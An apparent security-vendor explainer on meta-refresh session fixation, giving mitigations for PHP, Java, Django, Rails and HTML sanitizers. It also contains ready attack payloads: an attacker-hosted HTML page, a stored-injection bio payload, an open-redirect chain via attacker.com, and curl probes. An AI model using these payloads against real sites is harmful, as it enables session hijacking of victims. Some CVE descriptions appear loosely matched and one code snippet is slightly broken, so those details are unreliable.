HTML meta refresh tags and link injection force victims to navigate to login URLs with attacker-chosen session IDs, enabling fixation without JavaScript or MITM.
TL;DR
<meta http-equiv=refresh> to redirect victims to login URLs with attacker-chosen session IDsscript-src policies that block XSS but not declarative HTML redirectssession.use_only_cookies=1 (PHP), COOKIE tracking mode (Java), session.use_strict_mode=1Meta refresh session fixation exploits HTML's <meta http-equiv="refresh"> tag to silently redirect the victim's browser to a login URL that includes an attacker-controlled session identifier. Unlike XSS-based cookie fixation, meta refresh requires no JavaScript execution. It is a declarative HTML redirect — the browser follows it automatically, at zero click cost beyond the initial page visit.
The attack maps to CWE-384 (Session Fixation) with the delivery mechanism exploiting HTML injection or phishing. It is particularly relevant in security contexts where CSP protects against script execution but not against declarative redirects. An application that deploys a strict Content-Security-Policy: default-src 'self'; script-src 'nonce-...' is immune to reflected XSS but fully exposed to meta refresh fixation if it renders user-controlled HTML content.
Under OWASP A07:2021, this variant remains relevant because legacy applications in PHP (session.use_only_cookies = 0) and Java (URL rewriting enabled by default in older servlet containers) still accept URL-embedded session identifiers. When combined with an open redirect vulnerability — a common finding in OAuth flows and after-login redirects — the attack chain produces a phishing URL that originates from the legitimate target domain.
The malicious HTML page the attacker hosts:
<!DOCTYPE html>
<html>
<head>
<!-- Zero-second delay — victim sees a blank flash before reaching login page -->
<meta http-equiv="refresh" content="0;url=https://target.com/login?PHPSESSID=ATTACKER_CHOSEN_SID">
<title>Loading...</title>
</head>
<body>
<p>Redirecting to secure login...</p>
</body>
</html>This is valid HTML. No JavaScript. No external resources. CSP script-src rules are irrelevant. The <meta http-equiv="refresh"> tag causes the browser to issue a GET request to the target URL with the session parameter appended. The server, if it accepts URL-based session IDs (PHP's default with session.use_only_cookies = 0), stores the session ID and waits for it to be authenticated.
When combined with an open redirect vulnerability on the target domain, the attack URL appears to originate from the legitimate site:
https://target.com/redirect?url=https://attacker.com/fixation.htmlThe victim sees a URL beginning with target.com, clicks it, is briefly shown the attacker's page (meta redirect fires in milliseconds), and lands on the login page with the fixed session ID. The redirect chain:
target.com/redirect → attacker.com/fixation.html → target.com/login?PHPSESSID=KNOWNThe victim experiences only a brief flash and the normal login page. No suspicious content is visible.
| Technique | Delivery | Visibility to Victim | Prerequisite |
|---|---|---|---|
| Direct meta refresh HTML page | Email / link / QR code | Brief page flash | None (any origin) |
| Open redirect + meta refresh | Target-domain URL | Transparent | Open redirect on target |
| HTML injection in user content | Stored in app (bio, comment) | Invisible | HTML injection in app |
| Email HTML attachment | HTML file attached to email | Browser tab opens | Email opened in browser |
CSS background-url with redirect | CSS injection in style attributes | Invisible | Style attribute injection |
HTML injection in user content is the stealthiest variant. If a web application renders user-supplied HTML (rich text editors like TinyMCE or Quill with insufficient sanitization), an attacker can store a meta refresh tag in their profile bio or a comment. Any admin or user who views that content has the meta refresh fire in their browser, directing them to the login page with the fixed session ID.
<!-- Attacker stores in profile bio (HTML injection via unsanitized rich text) -->
<meta http-equiv="refresh" content="0;url=https://target.com/login?session=ATTACKER_KNOWN">
<!-- When any user/admin views this profile, they are redirected silently -->PHP-specific example — URL-based session delivery in legacy applications:
GET /login?PHPSESSID=ATTACKER_CONTROLLED_VALUE HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
HTTP/1.1 200 OK
Set-Cookie: PHPSESSID=ATTACKER_CONTROLLED_VALUE; path=/
<!-- Server accepts URL-provided session ID and sets it as cookie -->After login:
POST /login HTTP/1.1
Cookie: PHPSESSID=ATTACKER_CONTROLLED_VALUE
email=victim@target.com&password=correct
HTTP/1.1 302 Found
Location: /dashboard
<!-- Set-Cookie absent — PHPSESSID not rotated -->CVE-2024-38475 — Apache httpd mod_rewrite URL Injection (CVSS 9.1) Apache httpd 2.4.0 through 2.4.59 was vulnerable to URL injection via mod_rewrite rule matching. An attacker could construct URLs that caused mod_rewrite to redirect the user to attacker-controlled content. Chained with meta refresh, this vulnerability enabled URL-delivered session ID injection to any application running behind the affected Apache instance. Fixed in httpd 2.4.60.
Open Redirect in OAuth redirect_uri — Common HackerOne Pattern
Open redirects in OAuth redirect_uri validation are among the most frequently reported HackerOne findings (multiple reports in the $500-$3,000 range). When chained with meta refresh, an open redirect at https://target.com/oauth/callback?redirect=https://attacker.com becomes a meta refresh fixation delivery vehicle that appears to originate from the trusted OAuth endpoint.
CVE-2024-47812 — Casdoor HTML Injection (CVSS 8.8) Casdoor before 1.802.0 had multiple vulnerabilities including insufficient HTML sanitization in user display fields. A meta refresh injected in a user's display name would fire in the admin interface when administrators viewed user management pages, delivering session fixation to admin sessions.
HTML Attachment Phishing — 2025 Industry Pattern Microsoft Threat Intelligence (2025 Phishing State Report) documented a shift toward HTML attachment phishing specifically to bypass email scanner meta-tag stripping. Attackers send HTML files as email attachments rather than inline HTML. When opened in a browser, the full HTML including meta refresh executes. This technique bypasses the Gmail/Outlook meta tag stripping applied to inline email HTML.
Applications that render user-supplied HTML (support ticket systems, rich text editors, internal wikis, email preview features) are high-risk for meta refresh injection. A meta refresh tag requires no JavaScript and bypasses all CSP script-src policies. HTML sanitizers must explicitly block or strip meta tags — DOMPurify does this by default, but custom sanitizers and server-side allow-lists frequently overlook meta.
<meta http-equiv="refresh" content="0;url=https://target.com/login?PHPSESSID=META_TEST_VALUE">. Host locally or on a test server.PHPSESSID=META_TEST_VALUE parameter.Set-Cookie response or browser DevTools cookies. If PHPSESSID=META_TEST_VALUE appears as a cookie, URL session delivery is enabled.<meta http-equiv="refresh" content="0;url=https://collaborator.net"> to user-controlled HTML fields (bio, name, comments). Check Burp Collaborator for incoming DNS/HTTP requests confirming the meta refresh fired.?redirect=https://attacker.com, ?next=//attacker.com, ?url=https://attacker.com on all redirect parameters. An open redirect can be chained with meta refresh.# Test URL parameter session delivery
curl -c cookies.txt "https://target.com/login?PHPSESSID=TEST_META_FIXATION"
grep "PHPSESSID=TEST_META_FIXATION" cookies.txt && echo "VULNERABLE: URL session delivery enabled"
# nuclei — open redirect detection (prerequisite for chain)
nuclei -u https://target.com -t http/misconfiguration/open-redirect.yaml
# Check for HTML injection surfaces
nuclei -u https://target.com -t http/vulnerabilities/generic/html-injection.yamlBreachVex tests for meta refresh fixation by probing whether URL-delivered session parameters are accepted (session.use_only_cookies audit), checking for open redirect parameters across all discovered endpoints, and testing HTML rendering contexts for unfiltered meta tags using an out-of-band callback probe to confirm delivery.
The primary control — refuse to accept session IDs from URL parameters at the framework level:
; PHP — disable URL session delivery entirely
session.use_only_cookies = 1 ; reject URL-based session IDs
session.use_strict_mode = 1 ; reject externally-supplied IDs (prevents fixation even if URL accepted)
session.cookie_samesite = "Lax"<!-- Java Servlet — COOKIE-only session tracking (Servlet 3.0+) -->
<web-app>
<session-config>
<tracking-mode>COOKIE</tracking-mode>
<!-- Removes support for URL rewriting (;jsessionid=) -->
</session-config>
</web-app># Django — session cookies only, no URL sessions
SESSION_ENGINE = 'django.contrib.sessions.backends.db'
SESSION_COOKIE_HTTPONLY = True
SESSION_COOKIE_SECURE = True
SESSION_COOKIE_SAMESITE = 'Strict'
# Django does not support URL session delivery by default# Python — DOMPurify equivalent with bleach
import bleach
ALLOWED_TAGS = ['p', 'b', 'i', 'em', 'strong', 'ul', 'ol', 'li', 'a', 'br']
# Note: 'meta' MUST NOT be in the allowed tags list
def sanitize_html(user_input: str) -> str:
return bleach.clean(
user_input,
tags=ALLOWED_TAGS,
attributes={'a': ['href', 'title']},
strip=True # strip, not escape — prevents double-encoding bypass
)// JavaScript client-side — DOMPurify (blocks meta by default)
import DOMPurify from 'dompurify';
// DOMPurify default config blocks meta, script, style, iframe
const clean = DOMPurify.sanitize(userHtml);
// Explicit: add FORBID_TAGS as extra protection
const clean = DOMPurify.sanitize(userHtml, { FORBID_TAGS: ['meta', 'link', 'base'] });Even if a URL-delivered session ID is accepted, regeneration on login prevents fixation:
# Rails
def create
user = User.find_by(email: params[:email])
if user&.authenticate(params[:password])
reset_session # new session ID even if fixation was delivered
session[:user_id] = user.id
redirect_to dashboard_path
end
endMeta refresh fixation and URL parameter fixation are the same attack — the meta refresh is just one delivery mechanism for URL parameter session IDs. Disabling URL-based session delivery (session.use_only_cookies=1 in PHP, COOKIE tracking-mode in Java) eliminates both vectors simultaneously. Session regeneration on login is still required as defense-in-depth for any remaining fixation delivery vectors.
Meta refresh fixation uses an HTML page with a meta http-equiv=refresh tag to force the victim's browser to navigate to the application login URL with an attacker-chosen session ID in the query string. The attacker delivers the malicious HTML page via email, link, or an open redirect. When the victim visits the page, their browser follows the meta redirect with the attacker's session token appended.
Content Security Policy script-src directives block JavaScript but do not block HTML meta refresh tags. Meta refresh is an HTML declarative redirect — not a script — so strict-dynamic and default-src policies that prevent XSS do not prevent meta refresh delivery. An attacker page with a meta refresh can deliver session fixation even when the target application has a strict CSP.
Common delivery: (1) phishing email with HTML body containing a meta redirect, (2) an attacker-controlled page linked from social media or QR codes, (3) open redirect on the target domain pointing to the attacker page, (4) HTML injection in user-controlled fields that allow HTML but not JavaScript (rich text editors, email templates). The browser automatically follows the redirect — no user click required beyond visiting the initial URL.
Link injection is a variant where the attacker injects an HTML link (anchor tag or CSS property url()) containing a session-bearing URL into a page the victim will visit. When the victim clicks the injected link or the browser pre-fetches it, the session ID is delivered. Unlike meta refresh, link injection requires user interaction but is less detectable by email security filters.
Yes. If the application sets session.use_only_cookies=1 (PHP) or COOKIE tracking-mode (Java), it ignores session IDs in URL parameters. The meta refresh still redirects the browser to the URL, but the server discards the URL-embedded session ID and issues a fresh one. The redirect still occurs, but fixation fails because the server does not bind the URL-delivered ID to the session.
An open redirect vulnerability on the target domain (e.g., /redirect?url=https://attacker.com) allows the attacker to link victims to an attacker page via a trusted domain URL. The attacker page contains a meta refresh pointing back to /login?JSESSIONID=KNOWN. The victim sees a target.com URL, clicks it, is briefly sent to attacker.com (meta redirect fires), and arrives at the login page with the fixed session. This makes the phishing link appear legitimate.
Modern email clients (Gmail, Outlook) strip meta refresh tags from HTML email bodies when rendering inline HTML. However, HTML email attachments opened in a browser are not stripped. Phishing via HTML attachment is the primary meta refresh delivery vector for corporate targets — it bypasses email scanning because the meta redirect fires in the browser, not the email client.
Meta refresh fixation is commonly paired with HTML injection CVEs. CVE-2024-38475 (Apache httpd mod_rewrite) allowed URL parameter injection that could be used to construct meta refresh delivery chains. SSRF-to-HTML-injection chains in content rendering systems (CVE-2024-32976 class) also enable meta refresh delivery to internal users.
1. Craft an HTML page: <meta http-equiv=refresh content=0;url=https://target.com/login?PHPSESSID=TEST_META>. 2. Host the page locally or on a test server. 3. Visit the HTML page in the browser — verify the browser navigates to the login URL with the parameter appended. 4. Authenticate via the redirected URL. 5. Compare pre/post session token — a match confirms meta refresh fixation is viable.
HTML sanitizers that blocklist or strip meta tags prevent meta refresh injection in user-controlled HTML fields. DOMPurify blocks meta tags by default. Server-side sanitizers like bleach (Python) require explicit allowlisting of allowed tags — meta should never be in the allowlist. Rich text editors that output to Markdown rather than raw HTML are immune.